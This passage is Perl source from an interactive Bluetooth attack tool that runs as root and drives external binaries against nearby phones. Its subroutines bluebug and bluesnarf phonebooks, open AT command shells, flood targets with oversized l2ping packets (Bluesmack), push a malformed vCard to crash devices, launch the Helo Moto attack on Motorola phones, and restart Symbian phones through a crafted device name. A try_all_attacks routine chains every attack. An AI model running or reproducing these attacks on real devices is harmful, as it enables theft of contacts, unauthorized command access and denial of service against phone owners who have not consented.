  1071.     print "Bluebugging $target:$preferences{'channel'}\n";
  1072.     system("$cfg->{'attest'} $target $preferences{'channel'} > $devicedir/phonebook");
  1073.     
  1074.     die "FATAL! $devicedir/phonebook is a symbolic link!\n" if -l ("$devicedir/phonebook");
  1075.     open(IN,"<$devicedir/phonebook");
  1076.     my @input = <IN>;
  1077.     close(IN);
  1078.     
  1079.     if(scalar(@input) == 0)
  1080.     {
  1081.     print "<<< No phonebook received.\n";
  1082.     }
  1083.     else
  1084.     {
  1085.     map{print;}@input;
  1086.     }
  1087.  
  1088.     &{$last_menu} unless $no_menu;
  1089. }
  1090.  
  1091. # Get a BlueBug AT Shell
  1092. sub bluebug_atshell
  1093. {
  1094.     $devicedir = $preferences{'logdir'} . $target;
  1095.  
  1096.     if($target eq "")
  1097.     {
  1098.     print "<<< I need a target.\n";
  1099.     $no_menu = 1;
  1100.     get_a_target();
  1101.     $no_menu = 0;
  1102.     }
  1103.  
  1104.     ask_channel();
  1105.     print "<<< Trying to get a BlueBug AT shell on $target:$preferences{'channel'}\n";
  1106.     system("$cfg->{'atshell'} $target $preferences{'channel'}");
  1107.     &{$last_menu} unless $no_menu;
  1108. }
  1109.  
  1110. # Blue Smack
  1111. sub bluesmack
  1112. {
  1113.     $devicedir = $preferences{'logdir'} . $target;
  1114.     
  1115.     if($target eq "")
  1116.     {
  1117.     print "<<< I need a target.\n";
  1118.     $no_menu = 1;
  1119.     get_a_target();
  1120.     $no_menu = 0;
  1121.     }
  1122.  
  1123.     print "<<< Bluesmacking $target\n";
  1124.     system("$cfg->{'l2ping'} -f -s 667 $target >/dev/null \&");
  1125.     &{$last_menu} unless $no_menu;
  1126. }
  1127.  
  1128. # Stop Bluesmack attack
  1129. sub stop_bluesmack
  1130. {
  1131.     system("killall l2ping 2> /dev/null");
  1132.     &{$last_menu} unless $no_menu;
  1133. }
  1134.  
  1135. # Try to dos the device by sending a nasty vcard
  1136. sub send_nasty_vcard
  1137. {
  1138.     $devicedir = $preferences{'logdir'} . $target;
  1139.     
  1140.     if($target eq "")
  1141.     {
  1142.     print "<<< I need a target.\n";
  1143.     $no_menu = 1;
  1144.     get_a_target();
  1145.     $no_menu = 0;
  1146.     }
  1147.  
  1148.     print "<<< Sending a nasty vcard to $target\n";
  1149.     system("$cfg->{'btobex'} push $target $preferences{'vcard'}");
  1150.     &{$last_menu} unless $no_menu;
  1151. }
  1152.  
  1153. # Helo moto attack (motorola)
  1154. sub helomoto
  1155. {
  1156.     if($target eq "")
  1157.     {
  1158.     print "<<< I need a target.\n";
  1159.     $no_menu = 1;
  1160.     get_a_target();
  1161.     $no_menu = 0;
  1162.     }
  1163.  
  1164.     $preferences{'channel'} = get_channel($target,"OBEX Object Push");
  1165.     ask_channel() if ($preferences{'channel'} == 0) || ($preferences{'channel'} eq "");
  1166.     print "<<< Launching Helo Moto attack on $target:$preferences{'channel'}\n";
  1167.     print "<<< Opening RFCOMM connection to $target:$preferences{'channel'}\n";
  1168.     system("$cfg->{'rfcomm'} -i $preferences{'device'} connect $rfcomm_device $target $preferences{'channel'} &");    
  1169.     sleep 2;
  1170.     print "<<< Trying to launch AT shell on channel 3\n";
  1171.     system("$cfg->{'atshell'} $target 3");    
  1172.     print "Closing RFCOMM connection.\n";
  1173.     system("$cfg->{'rfcomm'} -i $preferences{'device'} release $rfcomm_device");
  1174.     &{$last_menu} unless $no_menu;
  1175. }
  1176.  
  1177. # Blue Snarf an ericsson phone
  1178. sub bluesnarf_ericsson
  1179. {
  1180.     $devicedir = $preferences{'logdir'} . $target;
  1181.     
  1182.     if($target eq "")
  1183.     {
  1184.     print "<<< I need a target.\n";
  1185.     $no_menu = 1;
  1186.     get_a_target();
  1187.     $no_menu = 0;
  1188.     }
  1189.  
  1190.     unlink("$devicedir/phonebook") if -e ("$devicedir/phonebook");
  1191.     print "<<< Bluesnarfing $target (ericsson mode)\n";
  1192.     system("$cfg->{'obexftp'} -b $target -B 10 -g telecom/pb.vcf > $devicedir/phonebook");
  1193.     
  1194.     die "FATAL! $devicedir/phonebook is a symbolic link!\n" if -l ("$devicedir/phonebook");
  1195.     open(IN,"<$devicedir/phonebook");
  1196.     my @input = <IN>;
  1197.     close(IN);
  1198.     
  1199.     if(scalar(@input) == 0)
  1200.     {
  1201.     unlink("$devicedir/phonebook") if -e ("$devicedir/phonebook");
  1202.     system("$cfg->{'attest'} $target 17 > $devicedir/phonebook");
  1203.     
  1204.     die "FATAL! $devicedir/phonebook is a symbolic link!\n" if -l ("$devicedir/phonebook");
  1205.     open(IN,"<$devicedir/phonebook");
  1206.     my @input = <IN>;
  1207.     close(IN);
  1208.     
  1209.     if(scalar(@input) == 0)
  1210.     {
  1211.         print "<<< No phonebook received.\n";
  1212.     }
  1213.     else
  1214.     {
  1215.         map{print;}@input;
  1216.     }
  1217.     }
  1218.     else
  1219.     {
  1220.     map{print;}@input;
  1221.     }
  1222.  
  1223.     &{$last_menu} unless $no_menu;
  1224. }
  1225.  
  1226. # A Symbian OS restarts if it gets in touch with a device
  1227. # name including a 090a in hex
  1228. sub symbian_remote_restart
  1229. {
  1230.     if($target eq "")
  1231.     {
  1232.     print "<<< I need a target.\n";
  1233.     $no_menu = 1;
  1234.     get_a_target();
  1235.     $no_menu = 0;
  1236.     }
  1237.  
  1238.     my $oldname = get_device_name();
  1239.     set_device_name($oldname . "\x09\x0a");
  1240.     print "<<< Launching Symbian Remote Restart attack on $target\n";
  1241.     check_connection();
  1242.     sleep 1;
  1243.     check_connection();
  1244.     set_device_name($oldname);
  1245.     &{$last_menu} unless $no_menu;
  1246. }
  1247.  
  1248. # Try all attacks on a single device
  1249. sub try_all_attacks
  1250. {
  1251.     $no_menu = 1;
  1252.  
  1253.     if($target eq "")
  1254.     {
  1255.     print "<<< I need a target.\n";
  1256.     get_a_target();
  1257.     }
  1258.  
  1259.     bluesnarf();
  1260.     bluesnarf2();
  1261.     bluesnarf_ericsson();
  1262.     bluebug();
  1263.     helomoto();
  1264.     bluesmack();
  1265.     send_nasty_vcard();
  1266.     symbian_remote_restart();
  1267.  
  1268.     $no_menu = 0;
  1269.     &{$last_menu};
  1270. }
  1271.  
  1272.  
  1273. ###[ HARMLESS SUBROUTINES ]###
  1274.  
  1275. # Check filenames
  1276. sub check_preferences
  1277. {
  1278.     die "Check logdir.\n" unless $preferences{'logdir'} =~ /[a-zA-Z0-9\/]/g;
  1279.     die "Check logfile.\n" unless $preferences{'logfile'} =~ /[a-zA-Z0-9\/\.]/g;
  1280.     die "Check sound file.\n" unless $preferences{'sound_file'} =~ /[a-zA-Z0-9\/\.]/g;
  1281.     die "Check channel.\n" unless $preferences{'channel'} =~ /^\d+$/;
  1282.     die "Check device name.\n" unless $preferences{'device_name'} =~ /[a-zA-Z0-9]/g;
  1283. }
  1284.  
  1285. # Print out the main logfile
  1286. sub print_logfile
  1287. {
  1288.     die "FATAL! $preferences{'logfile'} is a symbolic link!\n" if -l $preferences{'logfile'};
  1289.     open(IN,"<$preferences{'logfile'}") or die "Cannot read $preferences{'logfile'}!\n";    
  1290.     while(<IN>) { print; }
  1291.     close(IN);
  1292. }
  1293.  
  1294. # Change preferences
  1295. sub change_preferences
  1296. {
  1297.     my $oldlogfile = $preferences{'logfile'};
  1298.     my $olddevicename = $preferences{'device_name'};
  1299.     my $olddevicetype = $preferences{'device_type'};
  1300.     my $olddevicevisibility = $preferences{'device_visibility'};
  1301.  
  1302.     while(my ($key,$value) = each %preferences)
  1303.     {
  1304.     print "$key: $value\n";
  1305.     print "Change it? <y/N>: ";
  1306.     my $input = <STDIN>;
  1307.     chomp $input;
  1308.  
  1309.     if($input eq "y")
  1310.     {
  1311.         print ">>> ";
  1312.         $input = <STDIN>;
  1313.         chomp $input;
  1314.         $preferences{$key} = $input;
  1315.     }
  1316.     }
  1317.  
  1318.     check_preferences();
  1319.  
  1320.     if($preferences{'logfile'} ne $oldlogfile)
  1321.     {
  1322.     close(LOG);
  1323.     unlink($preferences{'logfile'}) if -l $preferences{'logfile'};
  1324.     open(LOG,">>$preferences{'logfile'}") or die "Cannot write to $preferences{'logfile'}!\n$!\n";
  1325.     }
  1326.  
  1327.     if($preferences{'device_name'} ne $olddevicename)
  1328.     {
  1329.     set_device_name($preferences{'device_name'});
  1330.     }
  1331.  
  1332.     if(lc($preferences{'device_type'}) ne lc($olddevicetype))
  1333.     {
  1334.     set_device_type($preferences{'device_type'});
  1335.     }
  1336.  
  1337.     if($preferences{'device_visibility'} != $olddevicevisibility)
  1338.     {
  1339.     set_device_visibility();
  1340.     }
  1341.  
  1342.     &{$last_menu};
  1343. }
  1344.  
  1345. # Show preferences
  1346. sub show_preferences
  1347. {
  1348.     print "<<< Current settings are:\n\n";
  1349.  
  1350.     while(my ($key,$value) = each %preferences)
  1351.     {
  1352.     print "$key: $value\n";
  1353.     }
  1354.  
  1355.     &{$last_menu};
  1356. }
  1357.  
  1358. # Initialize everything we need
  1359. sub init_program
  1360. {
  1361.     # Got r00t?
  1362.     die "You should have EUID 0 to use this tool.\n" if($> != 0);
  1363.  
  1364.     # Check filenames
  1365.     check_preferences();
  1366.  
  1367.     # Check binaries
  1368.     die "Missing or non-executable binary hciconfig $cfg->{'hciconfig'}.\n" unless -x $cfg->{'hciconfig'};
  1369.     die "Missing or non-executable binary hcitool $cfg->{'hcitool'}.\n" unless -x $cfg->{'hcitool'};
  1370.     die "Missing or non-executable binary sdptool $cfg->{'sdptool'}.\n" unless -x $cfg->{'sdptool'};
  1371.     die "Missing or non-executable binary l2ping $cfg->{'l2ping'}.\n" unless -x $cfg->{'l2ping'};
  1372.     die "Missing or non-executable binary rfcomm $cfg->{'rfcomm'}.\n" unless -x $cfg->{'rfcomm'};
  1373.     die "Missing or non-executable binary rfcomm_shell $cfg->{'rfcomm_shell'}.\n" unless -x $cfg->{'rfcomm_shell'};
  1374.     die "Missing or non-executable binary btobex $cfg->{'btobex'}.\n" unless -x $cfg->{'btobex'};
  1375.     die "Missing or non-executable binary btftp $cfg->{'btftp'}.\n" unless -x $cfg->{'btftp'};
  1376.     die "Missing or non-executable binary hstest $cfg->{'hstest'}.\n" unless -x $cfg->{'hstest'};
  1377.     die "Missing or non-executable binary attest $cfg->{'attest'}.\n" unless -x $cfg->{'attest'};
  1378.     die "Missing or non-executable binary atshell $cfg->{'atshell'}.\n" unless -x $cfg->{'atshell'};
  1379.     die "Missing or non-executable binary obexftp $cfg->{'obexftp'}.\n" unless -x $cfg->{'obexftp'};
  1380.     die "Missing or non-executable binary change_btaddr $cfg->{'change_btaddr'}.\n" unless -x $cfg->{'change_btaddr'};
  1381.     die "Missing or non-executable binary redfang $cfg->{'redfang'}.\n" unless -x $cfg->{'redfang'};
  1382.     die "Missing or non-executable binary play $cfg->{'play'}.\n" unless -x $cfg->{'play'};
  1383.     die "Missing or non-executable binary mpg123 $cfg->{'mpg123'}.\n" unless -x $cfg->{'mpg123'};
  1384.     die "Missing or non-executable binary sox $cfg->{'sox'}.\n" unless -x $cfg->{'sox'};
  1385.  
  1386.     # Is the device up and running?
  1387.     open(HCI,"$cfg->{'hciconfig'} $preferences{'device'} up |") or die "$cfg->{'hciconfig'} $preferences{'device'} up failed!\n$!\n";
  1388.     close(HCI);
  1389.  
  1390.     # Set the device name
  1391.     set_device_name($preferences{'device_name'});
  1392.     
  1393.     # Set the device type
  1394.     set_device_type($preferences{'device_type'});
  1395.  
  1396.     # Set device visibility
  1397.     set_device_visibility();
  1398.  
  1399.     # Check if logdir exists    
  1400.     mkdir($preferences{'logdir'}) unless(-d $preferences{'logdir'});
  1401.  
  1402.     # Open logfile
  1403.     unlink($preferences{'logfile'}) if -l $preferences{'logfile'};
  1404.     open(LOG,">>$preferences{'logfile'}") or die "Cannot write to $preferences{'logfile'}!\n$!\n";
  1405. }
  1406.  
  1407. # Just clean up and exit
  1408. sub exit_program
  1409. {
  1410.     $no_menu = 1;
  1411.     stop_bluesmack();
  1412.     system("$cfg->{'rfcomm'} -i $preferences{'device'} release all");
  1413.     close(LOG);
  1414.     exit(0);
  1415. }
  1416.  
  1417. # Mmmm... EOF.
  1418.